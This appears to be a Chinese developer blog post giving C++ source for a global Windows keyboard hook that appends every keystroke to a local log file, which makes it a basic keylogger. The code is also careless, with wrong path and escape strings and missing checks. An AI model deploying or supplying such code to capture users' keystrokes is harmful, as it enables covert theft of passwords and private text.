KeyProcHook.h文件代码
#pragma once
#include
class KeyProcHook
{
public:
KeyProcHook(void);
~KeyProcHook(void);
bool InstallHOOK(HINSTANCE hinstance);
bool UninstallHOOK(void);
};
KeyProcHook.cpp文件代码
#include "StdAfx.h"
#include "./KeyProcHook.h"
#pragma data_seg ("shared")
HINSTANCE g_hInst;
static HHOOK g_hHook = NULL;
#pragma data_seg ()
LRESULT CALLBACK KeyboardProc(int iCode,WPARAM wParam,LPARAM lParam);
KeyProcHook::KeyProcHook(void)
{
}
KeyProcHook::~KeyProcHook(void)
{
}
//
bool KeyProcHook::InstallHOOK(HINSTANCE hinstance)
{
g_hInst = AfxGetInstanceHandle();
g_hHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,g_hInst,0);
if (g_hHook)
return TRUE;
else
return FALSE;
}
//
bool KeyProcHook::UninstallHOOK(void)
{
if (UnhookWindowsHookEx(g_hHook)==0)
return FALSE;
else
return TRUE;
}
//
LRESULT CALLBACK KeyboardProc(
int iCode, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
int vKey = wParam;
// Record the key for testing
char ch = vKey;
char str[10]="/0";
FILE *fp;
fp=fopen("c://logfile.txt","a+");
fprintf(fp,"%C",ch);
//fprintf(fp,"%s%c",str,ch);
fclose(fp);
return CallNextHookEx(g_hHook,iCode,wParam,lParam);
}
键盘HOOK的简单实现(VC2003)
最新推荐文章于 2025-09-12 16:42:06 发布
本文介绍了一个简单的键盘钩子实现方案,通过安装全局键盘钩子监听按键事件,并将记录的按键写入日志文件中。文章提供了完整的KeyProcHook类定义及其实现细节。
1357

被折叠的 条评论
为什么被折叠?



